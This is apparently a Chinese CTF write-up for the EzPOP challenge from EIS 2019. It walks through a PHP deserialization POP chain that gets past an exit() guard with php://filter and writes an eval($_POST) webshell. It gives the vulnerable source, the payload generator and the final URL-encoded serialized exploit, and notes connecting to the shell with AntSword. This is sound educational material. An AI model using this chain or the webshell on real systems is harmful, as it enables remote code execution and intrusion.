[EIS 2019]EzPOP
题目源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); //json编码
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire){ //获取失效时间
return (int) $expire;
}
public function getCacheKey(string $name) { //设置filename
return $this->options['prefix'] . $name;
}
protected function serialize($data) {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);//命令执行
}
public function set($name, $value, $expire = null){
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name); //设置filename
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
入手点
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
存在file_put_contents
可写webshell
由下向上追溯,查看filename是否可控
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name) {
return $this->options['prefix'] . $name;
}
此处表明应该存在一个options数组,$filename = options['prefix'].$name
查看data的来源
$data = $this->serialize($value);//$data经过自定义的serialize函数处理
protected function serialize($data) {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize']; //表明serialize可控
return $serialize($data);//假如$serialize=eval,此处可为eval($data)
}
if ($this->options['data_compress'] && function_exists('gzcompress')) {//可以设定options['data_compress']=false,不进入数据压缩这一步
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
此处存在一个死亡绕过问题,我们可以base64解码后写入,具体可参考p牛文章谈一谈php://filter的妙用
<?php
$expire = 0;
$data = '<?php @eval($_POST[\'cmd\']);?>';
$data = 'aaa'.base64_encode($data); //加3个a是为了补齐base64字节数
echo $data; //aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
$filename = 'php://filter/write=convert.base64-decode/resource=uploads/shell.php';
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
shell.php
来看class A
从析构函数看起
public function __destruct() {
if (!$this->autosave) { //此处令autosave=false即可进入进入save()函数
$this->save();
}
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); //A类中不存在set()函数,而B类存在,此处为pop链连接点,可令store=new B()
}
public function cleanContents(array $contents) { //这里可令传入的array为空,则最后return的contents为空
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); //json编码
//此处return的complete -> A类的set(,$contents,)->B类 set(,$value,) ->$data = $this->serialize($value);
//即complete的内容应为webshell的内容,json_encode出来的中括号[]等字符,不在base64编码表内,base6解码写入webshell的时候会自动去除
}
构造payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->key = '';
$this->expire = 0;
$this->autosave = false;
$this->cache = [];
$this->complete = 'aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
}
}
class B {
public function __construct()
{
$this->writeTimes = 0;
$this->options = array( 'data_compress' => false,
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/shell.php',
'serialize' => 'strval'); //strval加了相当于不加,只是为了用到serialize
}
}
echo urlencode(serialize(new A));
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A10%3A%22writeTimes%22%3Bi%3A0%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2Fshell.php%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A43%3A%22aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D%22%3B%7D
写入webshell后,蚁剑连接读取flag
注:
不清楚程序流程时,可以下断点调试